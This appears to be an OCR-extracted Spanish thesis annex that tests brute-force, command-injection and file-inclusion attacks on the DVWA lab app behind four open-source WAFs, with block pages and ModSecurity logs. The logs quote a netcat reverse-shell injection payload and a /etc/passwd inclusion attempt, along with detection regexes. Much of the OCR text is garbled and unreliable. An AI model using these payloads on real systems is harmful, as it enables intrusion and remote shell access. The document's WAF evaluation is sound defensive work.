ANEXO 3. Resultados de los 10 ataques realizados al target
DVWA con la proteccion de los WAFs Open Source.

En el presente anexo, se va a ejecutar los 10 ataques detallados en el Anexo 2
sobre el aplicativo web vulnerable DVWA. Los ataques se realizan directamente
al WAF Open Source. A continuacion se muestran los resultados obtenidos por
cada uno de los ataques realizados en los 4 WAFs:

Ataque 1: Fuerza Bruta

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo

~PASS*&Login=Login:Feincorrect :HeCookie: se

Se puede observar que todos los passwords son validados como correctos.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Thu Dec 85 2ZH8:57:46.756382 28191 [:errorl] [pid 16711 [client 192.168.1.18:533Z281 [client 192.168.1.
181 ModSecurity: Access denied with code 483 (phase 2). Operator EQ matched 8 at REQUEST_HEADERS. [f
ile "setc/httpd/modsecurity.d-activated_ruless/modsecurity_crs_21_protocol_anomalies.conf"1 [line "47
"1 [id "968815"]1 [rev "1"1 [msg "Request Missing an ficcept Header™] [severity "NOTICE"]1 [ver "DWASP_
CRS-2.2.9"1 I[maturity "9"1 [accuracy "9"1 [tag “OWASP_CRS/PROTOCOL_WIOLATION.MISSING_HEADER_ACCEPT"]
[tag "WASCTCAWASC-21"1 [tag "OWASP_TOP_18-A7"]1 [tag "PCI-6.5.18"1 [hostname “'proxy-waf.com.ec”] [ur
i "sdwsasuulnerabilitiessbrutes"] [unigque_id “XemlmkboniBvEmBER1bSSQAAARAM" ]
[Thu Dec 85 28:57:46.757294 £819] [:error] [pid 16721 [client 192.168.1.18:533261 [client 192.168.1.
181 HDdSecur'itg: fAccess denied with code 483 (phase 2). Operator EQ matched 8 at REI]UEST_HEHDERS. [f
ile ' /etc/httpd/mdsecurltg d/actlvated _rules/modsecurity crs 21 pr‘otocol anomalles conf™] [1111& ‘47
"1 [id "968815"1 [rev "1"1 [msg ' Hequest Missing an Accept Header"] [severity “"NOTICE"] [ver "OWASP_
CRS/2.2.9"1 I[maturity "9"1 [accuracy "9"1 [tag “OWASP_CRS/PROTOCOL UII]LHTII]H/HISSIH(‘ _HEADER HCCEPT"]
[tag "WASCTC-WAMSC-21"1 [tag "OWASP_TOP_18-A7"]1 [tag "PCI/6.5.18"1 [hostname “proxy-waf .com.ec”] [ur
i "sduwsaswlnerabilities/brutes”] [unigque_id “"XemlmgbZGP>uQDPatS jc-whhnnl" ]
[Thu Dec 85 28:57:46.758758 £819]1 [:error] [pid 16691 [client 192.168.1.18:533321 [client 192.168.1.
181 I“deEcuritg: ficcess denied with code 483 (phase 2). Operator Ef matched 8 at REI]UEST_HEﬁDERS. [§3
ile "setc/httpdsmodsecurity. cl/m:tluated _rulessmodsecurity_crs_21 prutucul anomalies.conf"] [line "47
"1 [id "968815"]1 [rev "1"] [msg * Request Hlssmg an Accept Header"1 [severity “NOTICE"] [ver "DWASP_
CRS/2.2.9"1 I[maturity "9"1 [accuracy "9"1 [tag “OWASP_CRS-PROTOCOL UIDLF!TIDH/HISSIN(‘ _HEADER HCCEPT"]
[tag "WASCTC/WASC-21"1 [tag "OWASP_TOP 18-A7"]1 [tag "PCI/6.5.18"1 [hostname “proxy-waf .com.ec”] [ur
i "sdwaaswilnerabilities/brutes"] [unigue id “Xemlmh@IYh@tTLGRUSzRcARAAARE" ]

[Thu Dec 05 21:05:53.259128 2019] [:error] [pid 1672] |[client
192.168.1.10:53520] [client 192.168.1.10] ModSecurity: Access denied with code
403 (phase 2). Operator EQmatched 0 at REQUEST_HEADERS. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_21 protocol_anomali
es.conf'] [line "47"] [id "960015"] [rev "1"] [msg "Request Missing an Accept
Header"] [severity "NOTICE"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy
"9"] [tag
"OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_ACCEPT"] [tag



"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/brute/"] [unique_id
"Xem3gabZGPxuQDPatSjdBgAAAAQ"]

Todos los logs muestran informacion importante como por ejemplo:

e Lafechay hora del ataque realizado: Thu Dec 05 21:05:53.259128 2019

e PID: 1672

e La Direccion Ip origen del ataque: 192.168.1.10

e (Cddigo de respuesta HTTP: Access denied with code 403 (phase 2)

e Laruta donde esta configurada la regla:
"letc/httpd/modsecurity.d/activated_rules/modsecurity _crs_ 21 protocol_a
nomalies.conf

e EIID de laregla: 960015

e El numero de linea en la cual esta configurada la regla: 47

¢ Mensaje: Request Missing an Accept Header

e Tag: OWASP_TOP_10/A7

e Hostname: proxy-waf.com.ec

e URI: /dvwal/vulnerabilities/brute/

e Unique_ld: Xem3gabZGPxuQDPatSjdBgAAAAQ

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo

0] [http-get-form] host: proxy-waf.com.ec login: admin password:

0][http-get-form] host: proxy-waf.com.ec login: admin password:

0][http-get-form] host: proxy-waf.com.ec login: admin password:

0] [http-get-form] host: proxy-waf.com.ec login: admin password:

1 of 1 target successfully completed, 15 valid passwords found

Hydra {http:jjwww.thc-org/thc-hydra} finished at 2019-12-05 23:31:43
T~

8
8
8
8

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Thu Dec 85 23:44:53.607547 2019] [:error] [pid 727:tid 34385532168] [client 192.168.1.16:46984] [client 192.168.1.16] ModSecurity: Warning. Matched phrase “(hydra)" at
REQUEST HEADERS:User-Agent. [file "/home/vlt-sys/Engine/conf/modsec/5dd6ed5bb11496627004b586. rules”] [line "66"] [id "913168"] [rev "2"] [msg "Found User-Agent associa
ted with security scanner"] [data "Matched Data: (hydra) found within REQUEST HEADERS:User-Agent: mozilla/5.8 (hydra)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.6.6"] [m
aturity "9"] [accuracy "9"] [tag “"application-multi"] [tag "language-multi"] [tag “platform-multi"] [tag “"attack-reputation-scanner"] [tag "OWASP_CRS/AUTOMATION/SECURIT
Y_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_18/A7"] [tag "PCI/6.5.18"] [hostname "proxy-waf.com.ec”] [uri "/dwwa/vulnerabilities/brute/"] [unique_id "XemWdUSvwVy
LSpSuHRGVrQAAANE" ]

[Thu Dec 85 23:44:53.608049 2019] [:error] [pid 727:tid 34385532168] [client 192.168.1.16:46984] [client 192.168.1.18] ModSecurity: Warning. Match of "pm AppleWebKit An
droid” against "REQUEST HEADERS:User-Agent" required. [file "/home/v1t-sys/Engine/conf/modsec/5dd6ed5bb11496627064b592. rules”] [line "1268"] [id "92836@"] [rev "3"] [ms
g "Request Missing an Accept Header”] [severity "NOTICE"] [ver "OWASP_CRS/3.0.8"] [maturity "9"] [accuracy "8"] [tag "application-multi"] [tag "language-multi‘] [tag “p
latform-multi"] [tag “"attack-protocol”] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_ACCEPT"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [ta
g "paranoia-level/2"] [hostname “proxy-waf.com.ec”] [uri */dwwa/vulnerabilities/brute/”] [unigue_id “XemWdUSvwVyLSpSuHRGVrQAAANE™]

[Thu Dec 05 23:44:53.607547 2019] [:error] [pid 727:tid 34385532160] [client
192.168.1.10:40904] |[client 192.168.1.10] ModSecurity: Warning. Matched
phrase "(hydra)" at REQUEST_HEADERS:User-Agent. [file "/home/vlt-
sys/Engine/conf/modsec/5dd6e95bb11496027004b586.rules™] [line "60"] [id
"913100"] [rev "2"] [msg "Found User-Agent associated with security scanner”]

[data "Matched Data: (hydra) found within REQUEST_ HEADERS:User-Agent:
mozilla/5.0 (hydra)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity



"9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-

multi"] [tag "attack-reputation-scanner"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/brute/"] [unique_id

"XemWdU5vwVyYyLSpSUHRGVIrQAAANE"]

Se puede observar que detecta el log la herramienta Hydra y como etiqueta que
se est4 realizando un ataque con reputacion de escanner.

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo

[80] [http-get-form] host: Xy-w » login: admin ass : NADINE1980
[80] [http-get- m st: : admin S rd: NADINE1S
[80] [http t-form : .com. 3 rd: €
[80] [http- orm s > ec g in password: NADINE9O
- e password: NADINE1
password: D
- 2 ol password: #password
[80]) [http- r : om. : password: NADINE198ONADINEL
980
[80] [http-get-
[80] [http-get-
[80] [http
[80] [http X .C g
[80] [http-get- m waf. g n password:
[80] [http-get- m f.c g i password:
[80] [http-get- m - . : in password:
1 of 1 target succes 15 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-12-06 22:58:07

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

Show 10 ~ | entries Search:
# Logs
1 2019/12/06 22:58:12 [error] 9445#0: *179 [client 192.168.1.10] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator * PmFromFile’ with

parameter " scanners-user-agents.data’ against variable * REQUEST_HEADERS:User-Agent’ (Value: “Mozilla/5.0 (Hydra)' ) [file "/opt/waf/nginx
Jete/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "33"] [id "813100"] [rev ""] [msg "Found User-Agent
associated with security scanner"] [data "Matched Data: (hydra) found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (hydra)"] [severity "2"] [ver
"OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner™]
[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/AT"]
[tag "PCI/6.5.10"] [hostname "192.168.1.10"] [uri "/dvwa/vulnerabilities/brute/"] [unique_id "157569109220.607927"] [ref "012,7v182,19t:lowercase"], client:
192.168.1.10, server: proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities/brute/?username=admin&password=password2&Login=Login HTTP/1.0", host:
"proxy-waf.com.ec”

2019/12/06 22:58:12 [error] 9445#0: *179 [client 192.168.1.10] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "PmFromFile’ with
parameter ‘scanners-user-agents.data' against variable
"REQUEST_HEADERS:User-Agent' (Value: “Mozilla/5.0 (Hydra)' ) [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-

913-SCANNER-DETECTION.conf"] [line "33"] [id "913100"] [rev "] [msg "Found
User-Agent associated with security scanner”] [data "Matched Data: (hydra)
found within REQUEST_HEADERS:User-Agent: mozilla/5.0 (hydra)"] [severity
"2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-
multi*] [tag "language-multi”] [tag “platform-multi’] [tag "attack-reputation-
scanner”] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
"192.168.1.10"] [uri "/dvwal/vulnerabilities/brute/"] [unique_id



"157569109220.607927"] [ref "012,7v182,19t:lowercase"], client: 192.168.1.10,
server: proxy-waf.com.ec, request: "GET
/dvwal/vulnerabilities/brute/?username=admin&password=password2&Login=Lo
gin HTTP/1.0", host: "proxy-waf.com.ec"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

[86] [http-get-form] host: .com.e login: admin password: E

[80] [http-get-form] host: )X om.e login: admin password: password2
[80] [http-get-form] host: login: admin password:

[80] [http-get-form] host: proxy LT login: admin password: passw

1 of 1 target successfully combleted, 15 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-12-07 00:18:1§

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2519;1;;5;89&‘25Ee;'r;;i il;B;!BHEcIJLlent 192.168.1.10] ModSecurity: Access denied with code 483 (phase 2). Matched phrase “(hydra)" at REQUEST HEADERS:User-Agent. [f
ile "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION. conf”] [line “56"] [id "91310@"] [msg "Found User-Agent associated with security sc
anner”] [data "Matched Data: (hydra) found within REQUEST HEADERS:User-Agent: mozilla/5.8 (hydra)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.6"] [tag “application-mult
i"] [tag "language-multi"] [tag "platform-multi"] [tag “attack-reputation-scanner”] [tag “parancia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY SCANN
el et et T 0 e S e e A e e N TR B el
2019/12/07 00:18:22 [error] 1158#0: [client 192.168.1.10] ModSecurity: Access
denied with code 403 (phase 2). Matched phrase "(hydra)" at
REQUEST_HEADERS:User-Agent. [file "lusr/local/nginx/conf/owasp-
modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "56"]

[id "913100"] [msg "Found User-Agent associated with security scanner"] [data
"Matched Data: (hydra) found within REQUEST_HEADERS:User-Agent:
mozilla/5.0 (hydra)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi*] [tag "attack-
reputation-scanner”] [tag “"paranoia-level/1"] [tag "OWASP_CRS"] [tag

"OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag
"WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname
" [uri "/dvwa/vulnerabilities/brute/"] [unique_id

"ACIXACAC@2UCAEA3ACAgAUAC"]

Atagque 2: Ejecucion de comandos

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.



403 Forbidden EOl J Vulnerability: Command Injec

&« o ‘Q‘ 0 Z proxy-waf.com.ec/dvwa/vulnerabilities/exec/#

ﬁ Mas visitados @ Comenzar a usar Firefox  ¥0¢ UOC (Universitat Ober... 8 Inicio de sesionen el c... @&
-
Forbidden

You don't have permission to access /dvwa'vulnerabilities/exec/ on this server.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Sat Dec @7 ©8:27:17.157309 2019] [:error] [pid 1722] [client 192.168.1.10:48852] [client 192.168.1.18] ModSecurity: Access denied with code 403 (phase 2). Operator EQ
matched @ at REQUEST HEADERS. [file "/etc/httpd/modsecurity.d/activated rules/modsecurity crs 21 protocol anomalies.conf”] [line "47"] [id "960815"] [rev "1"] [msg "Reg
uest Missing an Accept Header"] [severity "NOTICE"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING HEADER_ACCEPT"] [ta
g "WASCTC/WASC-21"] [tag "OWASP_TOP 18/A7"] [tag "PCI/6.5.10"] [hostname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/brute/"] [unique_id "Xes4NaUClWcYRnWGMAdD3QAAAA
¥

[Sat Dec 07 ©8:49:03.927695 2019] [:error] [pid 1722] [client 192.168.1.148:80851] [client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2). Pattern mat
ch "\\\\W{4,}" at ARGS:ip. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity crs_4@_generic_attacks.conf"] [line "37"] [id "960824"] [rev "2"] [msg "Meta-Char
acter Anomaly Detection Alert - Repetative Non-Word Characters"] [data "Matched Data: &% found within ARGS:ip: 127.8.8.1 & nc.traditional 192.168.1.18 443 -e /bin/sh
"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/exec/"] [unique_id "XesOTSUCIWcYRnWGMAdD3gAAAAY"], re
ferer: http://proxy-waf.com.ec/dvwa/vulnerabilities/exec/

[Sat Dec 07 00:49:03.927695 2019] [:error] [pid 1722] [client 192.168.1.148:8051]
[client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2).
Pattern match "“WW{4,}" at ARGS:ip. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.

conf’] [line "37"] [id "960024"] [rev "2"] [msg "Meta-Character Anomaly Detection
Alert - Repetative Non-Word Characters"] [data "Matched Data: && found within
ARGS:ip: "] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [hostname
"proxy-waf.com.ec"] [uri "/dvwal/vulnerabilities/exec/"] [unique_id
"Xes9T6UCIWCcYRNWGM4dD3gAAAAY"], referer: http://proxy-
waf.com.ec/dvwal/vulnerabilities/exec/

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

&« ¢ o © & proxy-waf.com.ec/dvwa/vulnerabilities/exec/#

I} Mas visitados @ Comenzar a usar Firefox  ¥0¢ UOC (Universitat Ober... B Inicio de sesion en el c... (@ Mueva pestafia
-
Forbidden

You don't have permission to access this resource.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Tue Dec 1@ 19:29:05.734591 2019] [:error] [pid 88@:tid 34385520648] [client 192.168.1.116:17139] [client 192.168.1.110] ModSecurity: Warning. Match of “"eq 1" against "
BARGS:CSRF_TOKEN" required. [file “/home/v1t-sys/Engine/conf/modsec/5dd4ce7bb1149611d76cd38e.rules”] [line "5%] [id "1281"] [msg "POST request missing the CSRF token."]
[tag “"csrf_protection”] [hostname “proxy-waf.com.ec™] [uri "/dvwa/vulnerabilities/exec/"] [unique_id "Xe-yAS@Tk3dai0JeBXXgxAAAAMg™], referer: http://proxy-waf.com.ec/d
vwa/vulnerabilities/exec/
[Tue Dec 10 19:29:05.742891 2019] [:error] [pid 88@:tid 34385520648] [client 192.168.1.116:17139] [client 192.168.1.116] ModSecurity: Access denied with code 483 (phase
2). Operator GE matched 18 at TX:inbound_anomaly score. [file "macro ‘policy 5dd4dce7cb1149611d76cd31a score’ (defined on line 328 of “/home/vl1t-sys/Engine/conf/192.168
.1.48-80.conf") used on line 716 of "/home/vlt-sys/Engine/conf/192.168.1.40-80.conf""] [line "14"] [id "91"] [msg "Inbound anomaly score 26 exceeded threshold 18"] [hos
tname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/exec/"] [unique_id "Xe-yAS@Tk3daiOJOBXXgxAAMAMg"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/exec/
[Tue Dec 1@ 19:29:05.74349@ 2019] [:error] [pid 88@:tid 34385520648] [client 192.168.1.110:17139] [client 192.168.1.110] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound anomaly score. [file "/home/vlt-sys/Engine/conf/modsec/5dd6e95bb11496027004b5a5.rules”] [line "73"] [id "980138"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 26 - SQLI=6,XS5=,RFI=,LFI=,RCE=12,PHPI= HTTP=,5ESS=): "] [tag "event-correlation"] [hostname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/exec/"] [u
nique_id “"Xe-yAS8Tk3dai0leBXXgxAAAAMg™], referer: http://proxy-waf.com.ec/dvwa/vulnerabilitias/exec/

[Tue Dec 10 19:29:05.742891 2019] [:error] [pid 880:tid 34385520640] [client
192.168.1.110:17139] [client 192.168.1.110] ModSecurity: Access denied with



code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy_5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhome/vit-sys/Engine/conf/192.168.1.40-80.conf') used on line 710 of
"lhomel/vlt-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
"Inbound anomaly score 26 exceeded threshold 18"] [hostname "proxy-
waf.com.ec"] [uri "/dvwal/vulnerabilities/exec/"] [unique_id "Xe-
yAS0Tk3daiOJOBXXgxAAAAMQg"], referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/exec/

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

<« (& Q‘ 0 A proxy-waf.com.ec/dvwa/vulnerabilities/exec/#
'CP Mas visitados @ Comenzar a usar Firefox 8¢ UOC (Universitat Ober... B Inicio desesionen el c.. @ M

403 Forbidden

openresty

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2 2019/12/11 20:16:52 [error] 9443#0: *140 [client 192.168.1.110] ModSecurity: Access denied with code 403
(phase 2). Matched "Operator * Rx' with parameter ™ (2:\[[\|[\\||&&&N\n\r NSV NSH=APVNOS™D)\s™(2:
(NS (V8™ =2\ NSNS 1< 0 VNN s+ NS ™ (2 V) (2 DA\ DOV WA AN T (2

(5275 characters omitted)' against variable " ARGS:ip' (Value: " 127.0.0.1 && nc.traditional 192.168.1.10 443 -¢
/bin/sh" ) [file "Jopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-932
APPLICATION-ATTACK-RCE.conf"] [line "140"] [id "932105"] [rev ""] {msg "Remote Command Execution: Unix
Command Injection”] [data "Matched Data: && nc.traditional found within ARGS:ip: 127.0.0.1 && nc.traditional
192.168.1.10 443 -e /bin/sh"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce”] [tag "paranoia-level/17] [tag
"OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag
"OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "192.168.1.110"] [uri "/dvwa/vulnerabilities/exec/"]
[unique_id "157611341240.970856"] [ref "010,17v586,55"], client: 192.168.1.110, server: proxy-waf.com.ec,
request: "POST /dvwa/vulnerabilities/exec/ HTTP/1.1", host: "proxy-waf.com.ec”, referrer: "http://proxy-

waf.com.ec/dvwa/vulnerabilities/exec/"

2019/12/11 20:16:52 [error] 9443#0: *140 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). Matched "Operator "Rx' with parameter
(25 IMININM &N EEN\N PN NSNSV NS <V \NNOSF)NS* (2:{\sM\(\s*|\w+=(?:[MNs]*[\B.*|\
SH<F > VAN NsH NS NS)\S* (2: |\")*(2: V2NN H AW H) 2N *(2:

(5275 characters omitted)' against variable "ARGS:ip' (Value: '127.0.0.1 &&
nc.traditional 192.168.1.10 443 -e /bin/sh’ ) [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-

932-APPLICATION-ATTACK-RCE.conf"] [line "140"] [id "932105"] [rev "' [msg
"Remote Command Execution: Unix Command Injection"] [data "Matched Data:
&& nc.traditional found within ARGS:ip: 127.0.0.1 && nc.traditional 192.168.1.10
443 -e /bin/sh"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy
"0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag



"attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag

"OWASP_CRS/WEB_ATTACK/COMMAND _INJECTION"] [tag
"WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hosthname
"192.168.1.110"] [uri "/dvwal/vulnerabilities/exec/"] [unique_id

"157611341240.970856"] [ref "010,17v586,55"], client: 192.168.1.110, server:
proxy-waf.com.ec, request: "POST /dvwa/vulnerabilities/exec/ HTTP/1.1", host:
"proxy-waf.com.ec", referrer: http://proxy-waf.com.ec/dvwa/vulnerabilities/exec/

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

< c o © & proxy-waf.com.ec/dvwa/vulnerabilities/exec/#

i} Mas visitados @ Comenzar a usar Firefox  ¥0¢ UQC (Universitat Ober... 8 Inicio de sesién enelc.. & M

403 Forbidden

nginx/1.15.12

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

B B L R R T LR LR
2019/12/11 23:23:25 [error] 1154#8: [client 192.168.1.116] ModSecurity: Access denied with code 483 (phase 2). Pattern match "(2:; [\\{IAWN] TN AT T&I&&] N0 WA WA
SWONT WS TNCAWCNONSWDINS* (2 PASWNONS* W= (2 [ TH NS A PNE AT F AW VA ) Ns+ DN* NS A (22 V)2 DWW DA DO W1 4
WV ANNTE IV s [N ]F LT at ARGS:ip. [file "/usr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE. conf"] [line "1€
2"] [id "932105"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: && nc.traditional found within ARGS:ip: 127.6.8.1 && nc.traditional 192.
168.1.18 443 -e /bin/sh"] [severity "CRITICAL"] [ver "OWASP CRS/3.2.6"] [tag "application-multi"] [tag "language-shell"] [tag “"platform-unix"] [tag "attack-rce"] [tag "
paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP TOP 10/A1"] [tag "PCI/6.5.2"] [hostname "] [uri
"fdvwa/vulnerabilities/exec/"] [unique_id "AcATAcAcHcACVEAcAcAcAaAI"]

2019/12/11 23:23:25 [error] 1154#0: [client 192.168.1.1108] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/exec/"] [unique_id "AcATAcAcHCACVEACACACASAT"]

2019/12/11 23:23:25 [error] 1154#0: [client 192.168.1.1108] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname "] [uri "/dvwa/vulnerabil
ities/exec/"] [unique_id "AcATAcAcHcACVEACACACAaAT"]

2019/12/11 23:23:25 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). Pattern match
(225 N W W& &&WA WA WSWWSWON T WS <W(I> WS ) Ns*(2:{ [\ s\ (\s*[\w+
=(2: NSNS A NS <= K WAV AN s+ Ns* W) \s*(2: V) * (2: W2WWW W (W) -
W\[FNWA N AW H) 2PN T*(2:sWAT* at ARGS:ip. [file
"lusr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-932-
APPLICATION-ATTACK-RCE.conf"] [line "162"] [id "932105"] [msg "Remote
Command Execution: Unix Command Injection”] [data "Matched Data: &&
nc.traditional found within ARGS:ip: 127.0.0.1 && nc.traditional 192.168.1.10 443
-e /bin/sh"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-
multi”] [tag "language-shell"] [tag "platform-unix”] [tag "attack-rce"] [tag "paranoia-
level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag
"WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname
" [uri "/dvwa/vulnerabilities/exec/"] [unique_id "AcAIACACHCACVEACACACAaAI"]



Ataque 3: File Inclusién Local

» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

403 Forbidden X €3 Vulnerability: File Inclusion = [ ¢ +

<« C @ 0 & proxy-waf.com.ec/dvwa,/vulnerabiliti

L} Mas visitados @ Comenzar a usar Firefox %8¢ UOC (Universitat Ober... 8 Inicio de se
.

Forbidden

You don't have permission to access /dvwa/'vulnerabilities/fi’ on this server.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Sat Dec 67 13:20:16.977773 2019] [:error] [pid 1783] [client 192.168.1.148:8650] [client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2). Pattern mat
ch "(2:\\\\b(2:\\\\. (?:ht(2:access | passwd |group) |ww_?acl)|global\\\\.asa|nttpd\\\\.conf|boot\\\\.ini) \\\\b|\\\\/etc\\\\/)" at ARGS:page. [file "/etc/httpd/modsecurity.
d/activated rules/modsecurity_crs 4@ generic_attacks.conf"] [line "205"] [id "950005"] [rev "3"] [msg "Remote File Access Attempt"] [data "Matched Data: /etc/ found wit

hin ARGS:page: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB ATTACK/FILE INJECTION"] [tag "WASCTC/WASC-3
3"] [tag "OWASP_TOP_16/A4"] [tag "PC1/6.5.4"] [hostname “proxy-waf.com.ec”] [uri “/dwwa/vulnerabilities/fi/"] [unigque_id “"XevtYFsendSXpDOcQuTqhAAAAAQ"]

[Sat Dec 07 13:20:16.977773 2019] [:error] [pid 1703] [client 192.168.1.148:8650]
[client 192.168.1.148] ModSecurity: Access denied with code 403 (phase 2).

Pattern match
"(?:\\Wb(?:\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\.asa|httpd\\\\.con
flooot\\W.ini)\Wb[\\\Vetc\\V/)" at ARGS:page. [file

"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.
conf"] [line "205"] [id "950005"] [rev "3"] [msg "Remote File Access Attempt"] [data
"Matched Data: /etc/ found within ARGS:page: /etc/passwd"’] [severity
"CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag
